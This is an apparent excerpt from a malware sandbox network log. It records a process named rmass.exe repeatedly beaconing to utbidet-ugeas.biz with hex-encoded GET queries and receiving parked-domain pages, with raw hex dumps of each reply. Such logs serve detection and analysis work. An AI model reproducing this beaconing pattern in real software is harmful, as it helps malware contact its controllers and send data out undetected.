4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 6a 69 56 4d 62 42 6e 31 62 51 6a 66 33 32 44 75 5a 6d 39 46 72 70 70 4f 6b 78 47 53 69 65 48 6b 6b 51 38 50 79 58 67 54 52 4a 37 64 58 4c 47 44 68 31 65 70 37 4f 63 46 48 77 32 67 51 6f 4e 57 77 54 59 63 67 6f 55 4f 59 6c 78 72 53 56 67 6c 42 73 5a 74 39 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_jiVMbBn1bQjf32DuZm9FrppOkxGSieHkkQ8PyXgTRJ7dXLGDh1ep7OcFHw2gQoNWwTYcgoUOYlxrSVglBsZt9Q==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:48:34.146291018 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiOWMyYTQ5N2EtODA0Yy00M2E5LWEyODgtZDAwMjEwMDY1YjI2IiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	58676	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:48:36.475617886 CET	169	OUT	GET /d/N?02CAA30B6CCAA30B6CE4A3276CCAA323D4CE8F29A8CBA3CBC4C8A73D42F88D325EFA93256C HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:48:36.922780991 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:48:36 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: 1b06d797-6a95-4ef8-bdb6-7ac1a042f9cf cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_AWsSlO8NZmseUVI61eHb6yHSwoxIDPRMDFmPb4mSXOKXfjfkJ18bseYPhHJHPYQGqNyto+lbTDGzAsGPMThl+g== set-cookie: parking_session=1b06d797-6a95-4ef8-bdb6-7ac1a042f9cf; expires=Sun, 05 Jan 2025 10:03:36 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 41 57 73 53 6c 4f 38 4e 5a 6d 73 65 55 56 49 36 31 65 48 62 36 79 48 53 77 6f 78 49 44 50 52 4d 44 46 6d 50 62 34 6d 53 58 4f 4b 58 66 6a 66 6b 4a 31 38 62 73 65 59 50 68 48 4a 48 50 59 51 47 71 4e 79 74 6f 2b 6c 62 54 44 47 7a 41 73 47 50 4d 54 68 6c 2b 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_AWsSlO8NZmseUVI61eHb6yHSwoxIDPRMDFmPb4mSXOKXfjfkJ18bseYPhHJHPYQGqNyto+lbTDGzAsGPMThl+g==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:48:36.922799110 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMWIwNmQ3OTctNmE5NS00ZWY4LWJkYjYtN2FjMWEwNDJmOWNmIiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	58678	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:48:39.834575891 CET	169	OUT	GET /d/N?024642399446423994684215944642112C426E1B504742F93C44460FBA746C00A676721794 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:48:40.284163952 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:48:39 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: 8d9600a1-330b-406e-8711-d42e62539b0b cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_eiwXI2WWJg2K4jkkhJ2bJwgMVUg8ArJQ2QEHhLTvJnE9vpo6tcHDrrptjnk19UgY4P/Kf841Itxz8eGbGzoclw== set-cookie: parking_session=8d9600a1-330b-406e-8711-d42e62539b0b; expires=Sun, 05 Jan 2025 10:03:40 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 65 69 77 58 49 32 57 57 4a 67 32 4b 34 6a 6b 6b 68 4a 32 62 4a 77 67 4d 56 55 67 38 41 72 4a 51 32 51 45 48 68 4c 54 76 4a 6e 45 39 76 70 6f 36 74 63 48 44 72 72 70 74 6a 6e 6b 31 39 55 67 59 34 50 2f 4b 66 38 34 31 49 74 78 7a 38 65 47 62 47 7a 6f 63 6c 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_eiwXI2WWJg2K4jkkhJ2bJwgMVUg8ArJQ2QEHhLTvJnE9vpo6tcHDrrptjnk19UgY4P/Kf841Itxz8eGbGzoclw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:48:40.284182072 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiOGQ5NjAwYTEtMzMwYi00MDZlLTg3MTEtZDQyZTYyNTM5YjBiIiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	58680	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:48:40.584491968 CET	169	OUT	GET /d/N?028CC012028CC01202A2C03E028CC03ABA88EC30C68DC0D2AA8EC4242CBEEE2B30BCF03C02 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:48:41.032192945 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:48:40 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: 638110b3-4043-4f16-be2e-5722a68d18d6 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_LuOr+3jCIIfjfQ17Idr6tZLEkJ5+ir7sn35DXYVaE+aZF2YbIeCdBxaG73wmG0DqTqGiiNM/w8QalTcba3+BAw== set-cookie: parking_session=638110b3-4043-4f16-be2e-5722a68d18d6; expires=Sun, 05 Jan 2025 10:03:40 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 4c 75 4f 72 2b 33 6a 43 49 49 66 6a 66 51 31 37 49 64 72 36 74 5a 4c 45 6b 4a 35 2b 69 72 37 73 6e 33 35 44 58 59 56 61 45 2b 61 5a 46 32 59 62 49 65 43 64 42 78 61 47 37 33 77 6d 47 30 44 71 54 71 47 69 69 4e 4d 2f 77 38 51 61 6c 54 63 62 61 33 2b 42 41 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_LuOr+3jCIIfjfQ17Idr6tZLEkJ5+ir7sn35DXYVaE+aZF2YbIeCdBxaG73wmG0DqTqGiiNM/w8QalTcba3+BAw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:48:41.032244921 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNjM4MTEwYjMtNDA0My00ZjE2LWJlMmUtNTcyMmE2OGQxOGQ2IiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	58682	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:48:41.948792934 CET	169	OUT	GET /d/N?022EE32F022EE32F0200E303022EE307BA2ACF0DC62FE3EFAA2CE7192C1CCD16301ED30102 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:48:42.418411970 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:48:41 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: b8f8c572-6c59-461d-a061-0a0ce12d6d25 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_TxgH86hWSWDLg0IWzO7pn6mag5f9pmgEk4V5LFNIgVNqHEMWsiJIVFx4gTvSIYXk/GC9vCIYNeu5/N7wT4rjZg== set-cookie: parking_session=b8f8c572-6c59-461d-a061-0a0ce12d6d25; expires=Sun, 05 Jan 2025 10:03:42 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 54 78 67 48 38 36 68 57 53 57 44 4c 67 30 49 57 7a 4f 37 70 6e 36 6d 61 67 35 66 39 70 6d 67 45 6b 34 56 35 4c 46 4e 49 67 56 4e 71 48 45 4d 57 73 69 4a 49 56 46 78 34 67 54 76 53 49 59 58 6b 2f 47 43 39 76 43 49 59 4e 65 75 35 2f 4e 37 77 54 34 72 6a 5a 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_TxgH86hWSWDLg0IWzO7pn6mag5f9pmgEk4V5LFNIgVNqHEMWsiJIVFx4gTvSIYXk/GC9vCIYNeu5/N7wT4rjZg==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:48:42.418437958 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiYjhmOGM1NzItNmM1OS00NjFkLWEwNjEtMGEwY2UxMmQ2ZDI1IiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	58684	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:48:42.576258898 CET	169	OUT	GET /d/N?024980D64E4980D64E6780FA4E4980FEF64DACF48A488016E64B84E0607BAEEF7C79B0F84E HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:48:43.030740976 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:48:42 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: 17514bf4-fac4-4881-a3b7-d62d2bd063b9 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_sE5OdaKzYA/sBAEipGAUV+l5Dc+BNHEBXC4V9K3cFaDUCsxmpHQtQZ0kN9y89taLTW5/qdvUPY7HYhlc45rXRA== set-cookie: parking_session=17514bf4-fac4-4881-a3b7-d62d2bd063b9; expires=Sun, 05 Jan 2025 10:03:42 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 73 45 35 4f 64 61 4b 7a 59 41 2f 73 42 41 45 69 70 47 41 55 56 2b 6c 35 44 63 2b 42 4e 48 45 42 58 43 34 56 39 4b 33 63 46 61 44 55 43 73 78 6d 70 48 51 74 51 5a 30 6b 4e 39 79 38 39 74 61 4c 54 57 35 2f 71 64 76 55 50 59 37 48 59 68 6c 63 34 35 72 58 52 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_sE5OdaKzYA/sBAEipGAUV+l5Dc+BNHEBXC4V9K3cFaDUCsxmpHQtQZ0kN9y89taLTW5/qdvUPY7HYhlc45rXRA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:48:43.030755997 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMTc1MTRiZjQtZmFjNC00ODgxLWEzYjctZDYyZDJiZDA2M2I5IiwicGFnZV90aW1lIjoxNzM2MDcwNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	58686	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:48:48.178224087 CET	169	OUT	GET /d/N?02B2B5F1E0B2B5F1E09CB5DDE0B2B5D958B699D324B3B53148B0B1C7CE809BC8D28285DFE0 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:48:48.645181894 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:48:48 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: e12eb0a8-0bc3-430b-b6fd-ab12491e0221 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_QitDO5IvcQlHjJeshV1WKj2+R1953lG0VMAC/Sv7FY7ypGFJVqPH8frgE3z+sNhJEWG0/DHw7YRd+sM9dWxKYg== set-cookie: parking_session=e12eb0a8-0bc3-430b-b6fd-ab12491e0221; expires=Sun, 05 Jan 2025 10:03:48 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 51 69 74 44 4f 35 49 76 63 51 6c 48 6a 4a 65 73 68 56 31 57 4b 6a 32 2b 52 31 39 35 33 6c 47 30 56 4d 41 43 2f 53 76 37 46 59 37 79 70 47 46 4a 56 71 50 48 38 66 72 67 45 33 7a 2b 73 4e 68 4a 45 57 47 30 2f 44 48 77 37 59 52 64 2b 73 4d 39 64 57 78 4b 59 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_QitDO5IvcQlHjJeshV1WKj2+R1953lG0VMAC/Sv7FY7ypGFJVqPH8frgE3z+sNhJEWG0/DHw7YRd+sM9dWxKYg==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
